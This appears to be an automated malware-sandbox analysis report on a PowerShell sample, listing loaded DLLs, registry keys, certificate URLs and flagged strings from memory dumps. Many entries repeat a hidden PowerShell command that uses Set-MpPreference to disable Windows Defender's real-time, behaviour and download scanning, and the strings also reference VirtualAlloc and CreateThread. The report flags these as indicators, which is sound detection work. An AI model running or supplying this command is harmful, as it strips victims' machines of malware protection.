"powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ff8b4270000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff8ab290000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ff8a9060000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\V40GDVTS.DLL" at base 7ff89f6f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ff892ad0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ff892960000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ff890c10000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ff883360000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ff8b4270000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ff8956d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ff880980000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ff880610000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ff890e30000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ff8b45e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ff891170000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ff894f20000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ff880530000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ff899110000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "SECUR32.DLL" at base 7ff8aa800000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ff8b4070000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WLDP.DLL" at base 0 "powershell.exe" loaded module "WLDP.DLL" at base 7ff8b31d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff8b27b0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ff880450000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ff8b5a70000 "powershell.exe" loaded module "USERENV.DLL" at base 7ff8b40a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ff8b5b20000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ff8b5760000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ff8b3cd0000 "powershell.exe" loaded module "OLEAUT32" at base 7ff8b7940000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ff880210000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.M870D558A#\5F64880C86C98E7DDECDF28E61917307\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.NI.DLL" at base 7ff8928b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0.DLL" at base 7ff8b45e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\MSVCRT.DLL" at base 0 "powershell.exe" loaded module "MSVCRT.DLL" at base 7ff8b5d90000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 0 "powershell.exe" loaded module "MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 7ff8a9050000 "powershell.exe" loaded module "MI.DLL" at base 7ff8ab850000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\MI.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-SECURITY-BASE-L1-1-0.DLL" at base 7ff8b45e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WMIDCOM.DLL" at base 7ff8ab7c0000 "powershell.exe" loaded module "GDI32.DLL" at base 7ff8b7b80000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ff8b45e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ff8a9710000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ff8a7320000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ff8b45e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ff8b45e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ff8a7340000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 7ff8b5a70000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\API-MS-WIN-CORE-HANDLE-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-HANDLE-L1-1-0.DLL" at base 7ff8b45e00003f:T4dc,"powershell.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}") "powershell.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}") "powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "powershell.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "powershell.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "powershell.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSinkEx" (Path: "HKCU\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSink" (Path: "HKCU\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TREATAS")40:T685,"9iqmgvw,czcsuuu0hhsmookhthawte," - Source: "00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp") Found URL "http://www.mic!(ye?avt" - Source: "00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl049z00005gcmqc;1.2.840.113549.1.1.2microsoft" - Source: "00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=623621" - Source: "00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=623636" - Source: "00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00006372.00000000.234681.715C0000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00006372.00000000.234681.A9072000.00000002.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00006372.00000001.234931.6FCA0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00006372.00000001.234931.6FCA0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00006372.00000001.234931.6FCA0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00006372.00000001.234931.6FCA0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00006372.00000001.234931.6FCA0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00006372.00000001.234931.6FCA0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00006372.00000001.234931.6FCA0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00006372.00000001.234931.6FCA0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcsuuu0hhsmookhthawte," - Source: "00000000-00006372.00000001.234931.6FCA0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00006372.00000001.234931.6FCA0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006372.00000001.234931.6FCA0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006372.00000001.234931.6FCA0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006372.00000001.234931.6FCA0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006372.00000001.234931.6FCA0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006372.00000001.234931.6FCA0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00006372.00000001.234931.6FCA0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006372.00000001.234931.6FCA0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006372.00000001.234931.6FCA0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006372.00000001.234931.6FCA0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006372.00000001.234931.6FCA0000.00000004.mdmp") Found URL "http://www.mic!(ye?avt" - Source: "00000000-00006372.00000001.234931.6FCA0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006372.00000001.234931.6FCA0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl049z00005gcmqc;1.2.840.113549.1.1.2microsoft" - Source: "00000000-00006372.00000001.234931.6FCA0000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00006372.00000001.234931.6FCA0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006372.00000001.234931.6FD09000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.1l0j" - Source: "00000000-00006372.00000001.234931.716C0000.00000004.mdmp") Found URL "http://www.microsoft.com/windowswashington1redmond1microsoft" - Source: "00000000-00006372.00000001.234931.716C0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbr" (Indicator: "password"; Source: "00000000-00006372.00000001.234931.716C0000.00000004.mdmp")52:T492,Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00004796.00000000.234515.03170000.00000004.mdmp, 00000000-00004796.00000001.235603.03170000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00004796.00000000.234515.03170000.00000004.mdmp, 00000000-00004796.00000001.235603.03170000.00000004.mdmp") Found string "m32\drivers\SandboxFltr.sys" (Indicator: "\drivers\"; Source: "00000000-00004796.00000000.234515.03EB0000.00000002.mdmp") Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00006372.00000000.234681.55990000.00000004.mdmp, 00000000-00006372.00000001.234931.55990000.00000004.mdmp") Found string "m32\drivers\SandboxFltr.sys" (Indicator: "\drivers\"; Source: "00000000-00006372.00000000.234681.55E30000.00000002.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp, 00000000-00006372.00000001.234931.6FCA0000.00000004.mdmp")53:T403e,Found string "VirtualAllocCreateThread-NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disablerealtimemonitoring"; File: "5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin") Found string "VirtualAllocCreateThread-NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disablebehaviormonitoring"; File: "5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin") Found string "VirtualAllocCreateThread-NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disableblockatfirstseen"; File: "5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin") Found string "VirtualAllocCreateThread-NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disableioavprotection"; File: "5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin") Found string "Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disablerealtimemonitoring"; File: "AMSI") Found string "Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disablebehaviormonitoring"; File: "AMSI") Found string "Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disableblockatfirstseen"; File: "AMSI") Found string "Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disableioavprotection"; File: "AMSI") Found string "-NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disablerealtimemonitoring"; File: "powershell.exe") Found string "-NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disablebehaviormonitoring"; File: "powershell.exe") Found string "-NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disableblockatfirstseen"; File: "powershell.exe") Found string "-NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disableioavprotection"; File: "powershell.exe") Found string "Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disablerealtimemonitoring"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found string "Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disablebehaviormonitoring"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found string "Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disableblockatfirstseen"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found string "Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disableioavprotection"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found string "-NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disablerealtimemonitoring"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found string "-NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disablebehaviormonitoring"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found string "-NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disableblockatfirstseen"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found string "-NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disableioavprotection"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found string "Interactive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disablerealtimemonitoring"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found string "Interactive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disablebehaviormonitoring"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found string "Interactive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disableblockatfirstseen"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found string "Interactive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disableioavprotection"; Source: 